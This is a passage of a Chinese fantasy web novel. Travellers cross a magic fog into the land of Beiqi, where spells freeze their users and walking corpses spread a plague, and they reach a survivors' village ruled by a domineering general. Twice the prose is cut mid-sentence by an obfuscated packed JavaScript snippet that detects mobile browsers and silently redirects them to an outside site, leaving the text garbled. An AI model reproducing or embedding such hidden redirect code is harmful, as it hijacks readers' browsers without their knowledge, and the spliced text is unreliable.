然后玄烛也睁开双眼,朝朝想同他说些什么,可他却连看都未看她一眼,直接下了车。 朝朝无奈地耸耸肩,只好也拿起包袱,提着裙摆走下马车。 马车外,天寒地冻,朔风凛冽,大雪覆盖了一切,入目皆是冷清的白。 距离他们马车几十步远的前方,浓郁的大雾随着寒风涌动着,肉眼根本无法穿透那雾层,瞧见里面的状况如何。 见四人都下车了,马夫急忙赶着马车调头离开,似乎不想和那离奇的大雾沾上半点关系。 “大雾的后面就是北祁,咳咳。”宋长生说道,不过张嘴就呛了几口寒风。 朝朝并没有急着去看那大雾,而是背对着几人检查了一下自己的包袱,随后才转头朝大雾的方向看去。 那大雾与他们这边的寒天雪地界限分明,确实一眼就能看出不寻常。 柯耀说道:“好了,快些出发吧,早点解决了北祁这麻烦事,咱们也能早些回去领报酬。” 他说完,便带领其他三人向前走去。 走了没几步,在最后面的朝朝忽然加快步伐跟上玄烛,然后强行牵住他的手。 感觉到手被她牵住,玄烛停下脚步,皱眉看向她:“做什么?” “你看那大雾多浓,恐怕咱们进去后很容易走散。”朝朝小声说着:“和他们两个走散也就罢了,我可不想和你分开。” 她说得很认真,说话时还歪了歪脑袋,示意玄烛她不在乎和前面那二人走不走散的事,头上宛若垂着的兔耳的发髻随着她的动作晃了晃,发间以珍珠作饰,发带在两侧打了蝴蝶结,垂下的带子随风飘扬,再配上她围着脖颈间的兔毛领子,整个人很是灵动可爱。 这让玄烛想起,在很久很久很久以前他见过一只可爱的兔子,那兔子垂着两只耳朵,身上毛绒绒、软乎乎的。 朝朝很像那只兔子。 见玄烛看着自己不说话,朝朝奇怪地问道:“怎么了?” 玄烛缓缓收回视线,吐出低沉的声音:“松手。” 听了这话,朝朝反倒将他的手握得更紧了些。 “我是绝对不会放手的!不过倒是可以给天魔大人几个选择,一,我们牵着手,二,你背着我,三,你抱着我……” 玄烛皱起眉头,用力抽出自己的手后,吐出两个字:“不选。” 好似料到了他的答案般,朝朝露出一副奸计得逞地坏笑:“那就是选第四个呗,我背你。” 说着,她一步迈到玄烛身前,背对着玄烛弯下身子,用宠溺的声音说道:“好啦,我就宠着你,快点上来吧!” 玄烛的脸色一沉。 他现在并不想打朝朝。 而是想抽她! 走在前面的那二人也停下了脚步,柯耀看着他们,不悦地催促道:“你们两个在后面磨蹭什么呢?不跟紧我们,等会儿进去了你们铁定有苦头吃!” 朝朝笑着回道:“知道啦,这位哥哥觉得雪路不好走,和我撒娇让我背他呢,等我背上他就立刻跟上你们。” 听完这话,玄烛被她气得几乎是从牙缝中挤出声音:“你再胡说,我便将你的舌头拔出来!” 朝朝这才直起身,面对着玄烛正经起来:“天魔大人不想我胡说,也不想被我背着走,那就和我牵手,咱们都一起过了两个幻境,你也应该知道我什么性子了,若是不达成目的,我就会一直缠着你胡闹,不如现在按我说的做,接下来我也会乖乖听你的。” 说完,她再次伸出右手,示意玄烛牵手。 玄烛垂眸看向她的手,一阵沉默。 良久,他抬起了手,放入了朝朝的掌心中。 朝朝牵住他的手,甜甜一笑:“天魔大人,我会保护好你的。” “你缠着我,不是想让我保护你吗?”玄烛冷声问道。 朝朝微顿,随后笑着回答:“互相保护,不会威胁你的性命时,就是你来保护我,若是你会有性命危险,便是我来保护你,反正我死不了,你就让我挡在你身前抗伤害就行。” 说完,她牵着玄烛向前走去,并没在意玄烛幽幽看着她的视线。 瞧见朝朝玄烛二人牵手跟了上来,柯耀和宋长生也准备转身继续向前。 回过头时,柯耀冷嘲地说道:“现在的姑娘也不知是跟谁学的,不喜欢我这种阳刚的男人,偏喜欢那种柔弱的小白脸子。” 宋长生回头瞥了眼玄烛:“那个玄烛脸是白了点,但看起来一点也不柔弱,个子还比你高多了。” “你懂个屁,那就是个中看不中用的。”柯耀不悦地同宋长生说:“等会儿遇到危险,朝朝就知道小白脸有多靠不住了。” 说着,柯耀又好色地一笑:“不过我看那个朝朝也不是什么好东西,这才认识多久啊,就和男人牵上手了,保不准之后也会往咱俩怀里钻呢。” 这话宋长生不知该怎么接,只能笑笑应事。 四人到了大雾前,在近处看这滚滚大雾更为壮观,不仅无法看清大雾内是何景象,仰头向上也是看不到尽头。 柯耀从袖中拿出一支银筷子,将筷子慢慢伸入雾中,良久,他见筷子没什么反应,又将筷子收回袖中,说道:“这雾里无毒,也不是什么害人的妖术。” 朝朝有些好奇地问道:“一支筷子如此厉害?试一下不仅能知道无毒,还能知道不是妖术?” 宋长生出生解释道:“这不是普通的筷子,此筷名为悼银筷,可试出这世间任何一种妖邪之术,这就是活神仙贡献给我们圣上的法宝之一。” “原来如此。” 朝朝松开玄烛的手,若有所思地走到柯耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966636|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边,随后突然笑嘻嘻地揪住柯耀的袖子,软声说道:“柯大哥,你把那筷子借我玩玩呗,我都没见那么稀罕玩意儿。” 柯耀听着她娇娇的声音,心中一阵荡漾,但面上却是又嫌弃又厌烦,沉声拒绝道:“不行不行!这可是宝贝,被你玩坏了、弄丢了怎么办?你可赔不起,去去去!别在我这瞎胡闹,我可不吃你这套!” 被他拒绝,朝朝哀怨地看着他,又用手轻捏了一下柯耀的腰,然后才转过身小跑回玄烛的身边。 柯耀也没多想,就当朝朝是在和他撒娇,还美滋滋地对宋长生小声说道:“看吧,这姑娘太好得手了,有点好东西,她就屁颠颠地跑过来了。” 宋长生对此表示,无话可说。 柯耀提了提肩上的包袱,心情愉悦地喊道:“走吧,向北祁前进!” 说完,他和宋长生并肩走入雾中。 朝朝重新牵起玄烛的手,也跟着他们踏入雾中。 白茫茫的大雾顿时将几人吞噬。 朝朝在眼前挥了挥缭绕不散的雾气,身旁的玄烛忽地漠声开口。 “天界的栋梁也会偷东西?” 闻言,朝朝歪头看了看前面两人,见那二人没有关注他们这边,她才笑嘻嘻地从牵着玄烛的那只手的袖口中,拉出半截镶了宝石小刀展示给玄烛。 “我这不是偷,是借,此处暗藏危机,就算我们能用法术,多点防身的工具也不亏啊,他们两个身上的宝贝有很多,可我看他们并没有要分给我们的意思,刚刚我才出此下策,等我们解决了这里的危机后,我会把东西还给他们的。”朝朝小声说道。 “刚刚?”玄烛侧目看向她,“我看你在马车上就一直盯着他腰间的小刀,你那时就惦记这东西了吧?” 朝朝把小刀收回袖中,用肩膀撞了撞玄烛,笑嘻嘻地说:“我还以为天魔大人在马车上一直闭着眼睛呢,没想到你挺关注我嘛,连我盯着什么你都知道。” 玄烛冷漠地看向前方:“自作多情。” 朝朝一只手捂着嘴,飞快地小声嘟囔了一句:“死鸭子嘴硬。” 玄烛皱眉看向她:“你说什么?” 朝朝只对他笑笑,不做应答。 本以为这大雾之中会很危险,但几人走了许久,竟未发生任何事。 没一会儿,宋长生就看到前方的雾渐渐变得稀薄。 四人加快步伐,很快便走出了这片迷雾,视野重新变得清晰。 迷雾之内的世界,与迷雾之外没什么区别,都是冰天雪地,银装素裹。 宋长生转头看到右侧竖立着一块石碑,他走过去看了看,那上面刚劲有力地刻着两个字。 北祁。 “我们已经进入北祁了。”宋长生笑着对其他几人说道。 柯耀四处张望起来:“这里除了几棵树,什么都没有啊,现在咱们该往哪边走啊?” 宋长生连忙从怀中拿出地图,展开后他研究了一会儿:“这里本是北祁与南麓、东黎的交界处,正常来说应有驻兵,眼下没看到他们,我猜他们很有可能是出事了,从这里向东走就是军营,不如我们先去那里看看情况。” 朝朝点了点头,柯耀也不反对这个意见。 几人再次向东侧的军营出发。 寒风越吹越烈,刮得脸上生疼,脚下厚厚的积雪,也拖慢了他们的步伐。 朝朝被风吹得眼睛生疼,她低头揉了揉眼睛,抬起头时,看到他们右侧方向的不远处有一个人影,正动作缓慢移动着。 “那边有人。”朝朝指着那人说道。 听到她的声音,宋柯二人齐齐向她看来,又顺着她手指的方向看去。 看见人影宋长生有些高兴:“有人就好办了,咱们可以先问问他这里发生了什么。” 他刚说完,柯耀便抬脚朝那人走去,一边走一边挥手大喊:“喂!我们是从南麓来救你们的!能问你些事情吗?” 那人听到喊声动作一停,不过很快他便转身朝四人的方向缓慢走来。 瞧见那人过来了,宋长生和柯耀都很高兴,朝朝也有些欢喜,不过她的欢喜是因为这里太冷了,她希望过来的那人能带他们去个温暖的地方。 玄烛冷着脸看着那人走来,片刻后沉声说道:“那人有问题。” 闻言,宋长生不解地问道:“什么问题?” 玄烛顿了顿,才缓慢地开口。 “那是个死人。” “死人?”柯耀被他的话逗笑,冷嘲热讽起来,“以为你只是没什么本领,没想到眼神还不好,死人还能动?你别在这胡说八道了。” 说完,柯耀也抬脚向那人走去,打算迎迎对方。 可当那人越走越近,柯耀脸色骤变,僵硬地停住脚步。 走来的是个男人,身上穿着残破的盔甲,面色铁青,双眸全白,口鼻处还留着血,不过最可怖不是那张脸,而是他的身体。 那人的腹部似乎被什么撕咬过,肚子上已经没有多少皮肉了,里面的肠子也流了出来,就挂在他的腿边。 玄烛说得没错。 那是个死人。 21. 雪地凶尸 柯耀看着那越走越近的死尸,震惊地后退两步。 朝朝也看清了那人的模样,立刻开口对柯耀说道:“发什么愣!这应该就是妖邪所为,我们先出手将他降住吧!” 宋长生点头应和着她的话:“对!柯耀,眼前就一个邪物,咱们使用法宝降住他,然后再仔细查探,没准顺着它就能确定此地的妖邪为何物了!” 柯耀这才回过神,心下暗暗盘算起来。 眼前就这一个邪物,行动还如此缓慢,甚好对付,他完全可以借此机会大展身手,独自解决此事,待日后也能在圣上那里多邀些功。 想着,他轻弯唇角,从怀中掏出一个古旧的罗盘,背对着其他三人说道:“你们保存实力,莫要出手,此事交给我一人即可!” “不行……” 朝朝刚欲阻止他鲁莽的行为,宋长生就开口同她讲道:“他手中的法宝名为千机罗盘,只要将罗盘指针转向特定的位置,就可以产生不同的术法效果,要降服眼前这一个邪物十分简单,而且柯耀可以将全身石化,任何妖邪都难以伤他,朝朝姑娘就放心将此事交给他吧。” 听宋长生如此说,朝朝这才收起阻拦的话,但心下还是隐隐有些不安。 这里可是十恶境啊,真的能如此容易地降服一个邪物吗? 只见柯耀端着罗盘快速向那死物跑了几步,左手食指在罗盘上画着咒印,罗盘指针随着他画的咒印开始缓慢移动。 “住手!” 一个女子的声音突然传来。 朝朝和宋长生齐齐朝声音的方向看去,看到一个身着熊皮衣,右手持着弓箭,左手则拖着一只死鹿的女子正向他们跑来,她神色严肃地向他们几人吼道:“快住手!!” 朝朝立即意识到了不对劲,不过她想阻止柯耀时已经晚了。 柯耀手中的罗盘金光大亮,与此同时,他的手脚也开始慢慢结冰。 “怎么回事?!”柯耀一惊,看着手脚迅速被厚厚的冰裹住,他急忙运气使身体石化,想要阻止身体结冰,但这行为并没有什么用,反倒加快了结冰的速度。 很快冰层便覆盖至柯耀的胸膛,他惊恐地回过头:“救救我……” 那个手拿弓箭的女子已跑至几人身旁,瞧见宋长生拿出一个法宝想要帮柯耀,连忙出声阻止:“不可!他已经没救了,若你们再用法术帮他,自己也会变得和他一样!” 她话音落下的瞬间,柯耀一惊整个人被冰覆盖,成为了一个人形冰雕立在那里,脸上的表情被定格在最后绝望的那一刻。 那具行走的尸体缓慢地越过柯耀的冰雕,一步步向剩余的几人走来。 “这到底是怎么回事?”朝朝看向那女子,皱眉问道。 那女子并未立刻回答她,而是转头看了看四周。 此时他们四周出现了更多缓慢移动过来的人,他们都面色铁青,双眸全白,有的少了半边身子,有的没了左腿,有的脖子上是巨大的血窟窿。 很明显向他们走来的全都是死人。 女子连忙举弓搭箭,瞄准已经走近他们的那具尸体,拉着弓弦的两指轻轻一松,锋利的箭瞬间离弦,精准的射入尸体的额头,那具尸体也随之倒下。 女子数了数箭筒中的箭,还剩三支,然后她神色冷静地回头看向朝朝几人,说道:“刚才闹出的声音引起它们的注意了,你们先随我找个地方躲躲,之后我再同你们解释。” 被冰封的柯耀完全打乱了他们原本的计划,这里的具体情况和女子口中的它们到底是怎么一回事,他们也不清楚,所以现在先按这女子的话去做,才是最好的选择。 朝朝和宋长生一同点了点头,那女子又看向朝朝身旁没有点头的玄烛。 朝朝也看了眼玄烛,见他完全没有要回应那女子的意思,这才笑着开口说道:“他全都听我的,我同意了,他就同意了。” 听到这话,玄烛不悦地看向朝朝,但朝朝全当没注意到他的反应,继续对那女子笑着。 “好。”女子将手中的死鹿丢在地上,把沉重的弓背上肩,神情严肃地开口:“我叫柳应星,接下来你们不可以再用法术,务必对我言听计从,如有半点反对或阳奉阴违,我会立刻抛下你们独自逃生。” 朝朝用力点头:“好。” 见她应下,柳应星抬脚向西侧跑去:“跟紧我。” 朝朝立刻牵着玄烛跟上柳应星的步伐。 宋长生一边跑一边忍不住问道:“你不是说要先躲躲吗?东侧有军营,咱们为何不去那里?” “那里全是士兵的活尸,不能去。”柳应星飞快回道,随后又沉声吐出一句,“我只给你这一次质疑我的机会,没有下次。” 宋长生有些委屈地看向朝朝,他只是有些奇怪才会发问,并不是想质疑柳应星。 朝朝对宋长生笑笑,以示安抚,但她心里很清楚柳应星的用意。 看柳应星的反应,他们现在一定正身处十分危险的境地中,柳应星是担心他们有人会因质疑而擅作主张做一些事,这不仅可能会害了自己,还有可能会连累柳应星,所以柳应星才会不许他们有半点质疑的苗头。 他们向前跑着,可周围出现的行尸却越来越多,它们虽行动十分缓慢,暂时还无法赶上奔跑的几人,但数量惊人,且不肯罢休。 柳应星边跑边从怀中拿出火折子,吹出火焰后她又摸出一个火线极其长的小鞭炮,点燃火线,随手将鞭炮用力丢向了远处。 “再跑快点。”柳应星沉声命令道。 几人的步伐跑得更快了些。 柳应星将他们带到一颗粗壮的老树下,树上积满白雪,树干旁支着数个木杆,倚靠着大树在上方架起一座小木屋。 柳应星跑到用粗绳和木头造的软梯前,指着上方的屋子说道:“快,爬上去。” 朝朝不敢有耽搁,立刻松开玄烛的手爬上去,紧跟在后的是宋长生。 玄烛淡淡看了一眼柳应星后,也爬上了梯子。 柳应星在最后,手脚麻利地爬入木屋后,她急忙将垂下的软梯收起,关好木屋门。 宋长生从墙壁木板之间的缝隙向外看去,密密麻麻的行尸正一步步向这座木屋聚来。 他紧皱着眉头,满面愁容地看向朝朝。 朝朝猜出了宋长生心底的忧虑,但他已经不敢对柳应星发问了,朝朝只好自己小声地问柳应星:“它们不会爬上树吗?” “放心,它们不会攀爬。”柳应星说完,随着几人竖起食指,“嘘,从现在开始,保持安静。” 朝朝和宋长生立刻屏住呼吸,大气都不敢喘一下了,至于玄烛,他本来就很安静,无需被人提醒。 木屋内陷入寂静。 屋外的行尸身形摇晃地走来,它们聚在树下漫无目的的转悠着,不肯散去。 直到远处忽然传来‘砰’的一声巨响,所有行尸同时缓慢地朝声响传来的方向看去,站定片刻后,它们又抬起脚,缓慢地向传来声响的那处走去。 看着树下的行尸全部散去,宋长生才长长舒了一口气。 柳应星比他们更谨慎些,趴在木屋门上盯了外面许久,确定树下已经没有行动的尸体,她才放松下来,背靠着屋门看向其他几人。 “你们几个叫什么?从哪里来的?”柳应星沉声问道。 宋长生这才想起做自我介绍:“我叫宋长生,这位是朝朝姑娘,她身旁的公子叫玄烛,我们是奉南麓圣上之命,来此地驱除妖邪的。” 听到南麓二字,柳应星带着嘲意出声:“又是那个南麓的皇帝,他还真是不爱死心,把你们一个个废物派进来送死。” 这话引起了宋长生的不满:“你怎么能如此说话,我们圣上也是好意……” “他连这里什么情形都不清楚,就胡乱派你们过来,只会害得你们都变成和刚才那个被冰封住的男人一样,这不叫好意,而叫愚蠢。”柳应星毫不留情地回嘴。 宋长生一阵语塞,一时不知该说些什么好。 朝朝并不在乎柳应星如何评价南麓皇帝的行为,她更想快些弄清这里的情况。 于是她开口问道:“柳姑娘,你能和我们仔细说说,刚才我们的同伴为何会被冰封住?” 柳应星冷着脸将眸子转向朝朝,对上朝朝乖巧的模样后,她轻吐出一口气,解释起来:“半年前那场诡异的大雾将北祁包围后,这里便不能使用法术了,一旦使用法术,就会像你们刚才所看到的那样,整个人被冰封住。” “那连法宝都不能用了?”宋长生有些焦急地问道。 柳应星摇头:“只要这法宝需要法术催动,就不能用。” 听完此话,宋长生颓废地往地上一坐:“完了,咱们带来的宝贝全没用了。” 朝朝蹙眉继续问道:“那被冰封住的人是死了还是活着呢?没有办法将冰化掉吗?” “那冰是用来封印法力的邪法造成的,寻常融化的方法根本无用。”柳应星说道:“至于里面的人是死还是活,没人能确定,不过那冰很脆,稍有碰撞就会碎裂,若那冰带着人一起四分五裂了,我想就算有朝一日能解了那冰封的邪术,里面的人也铁定无法复活了。” 朝朝的神色越发沉重起来。 看来在这里法术是一下都不能用了,这无疑是加大了破解幻境的难度。 见朝朝没了声音,宋长生开口问道:“那些会动的尸体是怎么回事?” “这件事和法术被禁是同一天发生的。” 柳应星垂眸回忆着事发的那日:“我们将那些尸体称为活尸,第一具活尸是在皇都发现的,它们遇到活人就会发狂扑过来撕咬,但它们不会攻击活人以外的东西,一旦被它们咬过,就算不死,也会变成和他们一样的活尸。” “只要咬到就会被传染,所以外面才会有那么多的活尸?”朝朝诧异地说道。 柳应星点头说道:“对,它们就和瘟疫一样,传染得十分迅速,先是皇城,再到皇城周围的几座城池,眼下整个北祁都已被它们覆盖。” 宋长生有些不解地问道:“我看它们行动缓慢,要想躲避活尸的攻击,应该也不是什么难事吧?怎么还会有这么多人变成活尸?” “那是因为你们幸运,赶着白天进入这里,还碰上了出来捕猎的我。”柳应星回头瞥了眼木屋外,而后继续说道:“它们本身力大无穷,虽然白天行动缓慢,身体僵硬还不会攀爬,但到了夜里速度则会变快,跑起来并不输于猎食的虎豹,还有,活尸的双眼看不见,但对活人的血和声音很敏感,能够通过鲜血的气味和人的声音辨别猎物的方位。” 所以,刚才柳应星才会用鞭炮的声响引开那些活尸。 朝朝暗道刚才幸好有乖乖听柳应星的话,纵有千百本领,在这里都不如柳应星对活尸的了解有用。 宋长生又开口问道:“难道活尸没有弱点吗?” “有。”柳应星指了指自己的脑袋:“它们的弱点就是头部,只要把脑袋打爆,它们便会丧失行动能力。” 闻言,宋长生一喜:“有弱点就好,有弱点我们就能有办法对付它们。” 柳应星冷嘲地哼笑一声:“呵,你们别把事情想得太容易,外面活尸的数量远比你们想象中的多得多,现在你们用不了法术,光凭肉体凡胎的手脚,是根本不可能把它们尽数铲除的。” 宋长生急忙接道:“我们这就回南麓,找圣上搬救兵,只要士兵足够多,要想处理掉大量的活尸也不是不可能的。” “你们已经回不去了。”柳应星声音猛然一沉:“你以为你们圣上之前派来的人,为何不回去搬救兵?因为一旦穿过大雾进入北祁,就没有人能再穿过大雾回去。” 待她最后一个字落下,刚振作起来的宋长生又面色难看地颓废起来,喃喃自语道:“糟、糟了,咱们也被困在这鬼地方了。” 朝朝的脸色倒是半点没变。 就算不能用法术了,她的不死之身也还在,这就是她最大的杀手锏。 想着,她沉静地看向柳应星:“柳姑娘,今日多谢你出手相救,若不是你,恐怕我们三个现在不是被冰封,就是变成活尸,不过现在我们已经出不去了,还请你再帮帮我们,告诉我们接下来该如何是好?” 柳应星视线严肃地在三人的脸上扫过,沉默了良久,似乎内心在做什么斗争。 最终她的视线停在朝朝脸上,口中沉沉吐出一口气后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977017|161273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“好吧,从这里向西走五里,有个幸存者聚集的村庄,那里还算安全,我可以带你们先过去安顿,但你们能不能留在那里,我做不了主,要看大将军愿不愿意留下你们。” 闻言,朝朝露出开心的笑脸:“太好了,谢谢你。” 柳应星回身又观察了一会儿木屋四周,确定安全后,低声开口:“你们跟紧我,路上尽量不要说话,有事就对我打手势。” 朝朝点头回应,回头看了一眼玄烛,他不用冰封都是个冰柱子,不过虽然没回应,但朝朝知道柳应星的话他都听进去了。 然后朝朝看向宋长生,那家伙还没从绝望中回过神。 她摇了摇宋长生的肩膀,见他看向自己后才说道:“振作点,咱们肯定能找到办法解决这里的妖邪,而且柳姑娘也说了,被冰封住的人未必就是死了,兴许之后咱们还能把柯耀救出来呢,不过现在你要打起精神,我们先和柳姑娘去安全的地方安顿,然后再从长计议这些事。” 宋长生紧张地抿了抿唇角,总算恢复镇定后才点头回应朝朝。 柳应星站在门口看着朝朝的身影,眸光比之前柔和了些许。 见他们三人都已准备好,柳应星打开门,放下软梯,带着三人爬下木屋,朝西走去。 寒风依然喧嚣刺骨,枯败的虬枝在风中摆动,清寂,孤冷。 柳应星走在最前面,其次是宋长生,然后是朝朝,最后由玄烛断尾。 这五里路说长不长,但对刚了解这里情况的人来说,却走得十分惊险。 不过他们很幸运,这一路上都无事发生。 很快他们便看到了村庄的影子。 村庄整个被高高的木栅栏围住,木栅栏前还围着带有铁刺的拒马,拒马后有几个穿着盔甲的士兵正在看守。 看到柳应星几人的身影越走越近,士兵并没有急着移开拒马,而是在拒马后对着他们举起刀,待他们走近,其中一个士兵才低声问道:“柳应星,你不是出去找食物了吗?食物呢?怎么带回来三个人?” “他们是南麓皇帝派来的人,有一个被冰封了,剩下的这三个我就带回来了。”柳应星淡声回道。 听完她的话,那士兵嫌弃的呸了一声:“那个狗屁皇帝,又往这里送些废物,除了给这里多添几个吃饭的嘴外,他们还有什么用?” 柳应星:“他们有没有用,你说了不算,要听大将军的。” “你!”那人被柳应星的话噎得有些气急,可又不好反驳,片刻后他愤愤收了辩驳的心思,而是沉声说道:“好,先检查身体,然后他们才能进来。” 柳应星回头看向朝朝三人,解释道:“如果有被咬过的人进入村庄,之后在村庄内变成活尸就糟了,以防万一,每次从外面回来都会检查身体。” 朝朝用力点了点头。 她非常认同这个防范行为,他们能有如此周密的检查,证明此地是真的安全,她高兴还来不及呢。 从拒马后钻出穿着盔甲的一男一女,分别为他们四人检查了身体,确认无可疑伤口后,士兵们才让出入口,放四人进入。 柳应星带领他们进入村庄深处。 其实村庄里和村庄外没什么两样,只是多了些可以住人的房子,但房子外并没有看见什么走动的人。 没一会儿,他们便随着柳应星走进村中最大的一间屋子。 屋中有用木柴生火的暖炉,甚是暖和,有桌有椅,有床榻,四处都被打扫得十分干净。 朝朝左右转头打量着屋内,并没有注意前方。 走在前面的宋长生突然停下脚步,朝朝来不及停住脚,就一头撞在他的背上。 她揉着撞痛的额头,奇怪地问道:“怎么了?” 宋长生没答,只是指了指前面。 朝朝顺着他的手指看去。 一个身穿黑色盔甲,腰间挂着长刀,满面络腮胡的男人坐在他们正前方的太师椅上,端着茶盏啜饮一口,然后抬眼看向他们。 看到那男人,柳应星立刻单膝跪下,拱手毕恭毕敬地说道:“大将军,我回来了。” 被她唤做大将军的男人没有应声,而是站起身,迈着四方步朝他们走来,最终停在柳应星面前,扫了眼她身后的三人,捋着胡子说道:“怎么回事?” 柳应星:“他们都是南麓皇帝派来的,我看他们手脚健全,留下来应该有用。” 闻言,大将军咧嘴笑了。 他的胡子随着笑颤了颤,然后又迈着四方步向朝朝几人走来。 大将军先停在玄烛面前,拿起腰间的长刀,用刀柄怼了玄烛的胸膛一下。 玄烛冷着的眸子闪过不悦。 朝朝在旁边暗暗打了个哆嗦。 这个大将军真是有眼不识阎王真面目,等下真把玄烛惹恼,出手把大将军杀了的话,可就糟了! 在大将军准备用刀柄触碰玄烛第二下时,朝朝急忙伸手抓住刀柄,阻止了大将军。 “大将军,您放心,虽然我们现在不能用法术了,但我们三个还有其他用处,而且我们尽量少吃东西多干活,绝对不会给您添麻烦的!”朝朝精神抖擞地对大将军说着。 大将军的注意转移到了朝朝身上。 他横移一步到朝朝面前,放下长刀,伸出另一只手捏住朝朝的下巴,左右仔细打量起她的脸。 这人的手很粗糙,刮得朝朝下巴发疼,还带着有些难闻气味的手汗。 朝朝心里生出恶心,可面上又不好露出,只能强颜欢笑,默念着这人快放手。 此时另一只手突然伸来,抓住大将军的手腕,用力向下一掰,便卸了大将军捏着朝朝下巴的力道,随后又立刻甩开大将军的手腕。 朝朝怔愣一瞬后,转头看向玄烛。 玄烛已经收回了自己的手,冷着脸看着前方,好似刚才什么都没有发生般。 大将军活动着自己被弄痛的手腕,皱眉看向玄烛,不过没说什么,半晌他转头看向宋长生。 上下打量完紧张的宋长生,大将军含着意味深长的笑意侧身说道:“年轻的男人和姑娘能留下。” 说着,他指向宋长生。 “这家伙,赶出去。” 22. 雪地凶尸 “为、为什么我不能留下?”宋长生不知所措地问道。 大将军扬着头,趾高气昂地睨着他:“你这细弱的身板,一看就不是个能干粗活的,又不是女人,留着你除了浪费食物,屁用不顶,我这里不养闲人,现在马上滚出去!” 见大将军是打定主意赶他走了,宋长生面上更加慌张,上前一步祈求道:“不,其实我能做粗活的,求您了,不要赶我走,若您把我赶走,我没有其他地方可去,到了夜里就只有死路一条了!” 大将军轻笑两声:“呵呵,你死不死,和我有什么关系?” 他的声音轻飘飘,淡淡然,完全没有将宋长生的性命当回事。 听到这话,宋长生的双眸变得黯然无光,唇瓣恐惧地打着颤,也不知该如何是好了,只能喃喃地反复哀求:“求您了,不要赶我走……求求您了……” 朝朝实在看不下去了,上前一步说道:“大将军,求您了,就将他留下吧,他虽看起来细弱,但毕竟曾是个修士,留下他必有用处。” 大将军看向朝朝,唇角又弯了弯,竟好声好气地开口解释:“小姑娘,你刚来不懂这里的规矩,外面什么景象你都看到了,活尸横行,人人自危,大家都想活,但食物有限,穿住亦有限,我能庇护的人就这些,若是每一个求救者我都收留,那吃穿住很快会不够用,大家就要死在一起了,我只能收留两种人,一是年轻力壮,无病无残的男人,二是能生孩子、会缝补的女人,唯有这两者才能将生存的希望延续下去,其余的人一概不留,这是原则,你说什么都不会变的。” 朝朝轻抿唇瓣,紧皱起眉头。 大将军的话不无道理,但她却无法全然认同。 宋长生不过四十几岁,手脚也健全,可这般条件都无法满足大将军所说的‘年轻力壮,无病无残’,可见能被留下来的条件有多苛刻。 他知道留着女人生孩子,延续生命,却不肯挽救眼前现有的活人,这难道不是本末倒置? 不过朝朝也很清楚,这个村庄的一切都由眼前这个大将军定夺,多做争论并无益处。 她必须给大将军一个不得不留下宋长生的理由。 “他会驭物。”朝朝沉沉吐出声音。 大将军微挑眉梢:“会驭物又怎样?在这里你们根本用不了法术。” 闻言,朝朝灿烂一笑,说道:“看来大将军对会驭物的修士并不了解啊,他们若想完全掌控一个物体,任意驱用,就必须对其深入了解,不仅要会用,还需会造,所以他会驭物的修士大多数都是造物高手。” 经朝朝这么一提醒,宋长生迟钝的脑子才开始转动,想起自己的用途。 他急忙开口:“对对!我会画图纸,能造很多东西,不管是房子还是工具,对了,我还会画炮的图纸,只要材料够用,我就能助您建造攻打活尸的大炮!” “哦?你会画图纸?”此话引起了大将军的兴趣。 他转眸思忖一番后,点头对宋长生说道:“好,你暂时可以留下,不过你画的图纸若无用,之后我会把你们三个骗子一起赶出去。” 说完,他又看向朝朝,沉默半晌扬起一个意义不明的笑。 “应星,你来安排他们三个,出去吧。”大将军对着他们随意地摆了摆手,而后握着长刀,气势凌人地坐回到太师椅上。 柳应星立刻起身,带着三人退出了大将军的屋子。 刚走出门,宋长生立刻转身面向朝朝,作势欲跪:“多谢朝朝姑娘刚才帮我说话,不然我怕是真的要被丢出去等死了。” 朝朝连忙扶住他,笑吟吟地回道:“不用谢,柯耀被冰封,我不想再多失去一个同伴了,而且咱们三人待在一处,才好商量接下来的对策。” 宋长生很是感激地望着她。 柳应星在他们身旁低声说道:“你们先同我来,有话进屋再说。” 朝朝点了点头,和宋长生跟随柳应星向前走去,可走出两步后,朝朝突然发现玄烛并没有跟上来。 她回头看去,玄烛还站在门前,侧着脸眸色幽幽地看着什么。 朝朝连忙小跑回他身边,顺着他的视线看去,注意到他正盯着一个抱着婴孩的女人看。 那女人面黄肌瘦,双眼无神,身上穿的也十分单薄,几片缝合在一起的碎布覆盖着她瘦削的身躯,根本无法抵抗周遭的寒冷。 察觉到朝朝和玄烛的视线,女人也缓缓向他们看来,但视线交汇后,她又匆忙低下头,抱着孩子转身离开。 “那个女人有问题吗?”朝朝小声问道。 玄烛没有回答,直接抬脚向前走去,朝朝也就搁下了此事,小跑着追上他。 几人被柳应星带到村庄东侧的一间房子内。 一推开门,屋内的八个人齐齐抬眼看来,有男有女,还有两个七八岁模样的小女孩,每个人都背靠墙壁,蜷缩着身体坐着。 屋内除了这些人,其他什么都没有,地上铺满了干草,应该就是让他们躺在干草上休息的意思。 柳应星带着朝朝三人走进屋子,关好门后才开口说道:“你们就在这里休息吧,村庄外围日夜都有人轮守,白日里活尸各方面都偏迟钝,所以可以在村庄里低声说话,但到了夜里,稍有动静就会引来活尸,所以入夜后所有人都不能开口说话。” 说着,她从怀中拿出三个木质哨子,和一个巴掌大的册子:“这是鸟哨,活尸对这个哨声没有反应,册子上则是用哨声编写的密语,你们拿着这些,最好能将册子上的密语都记下,危险时能用得上。” 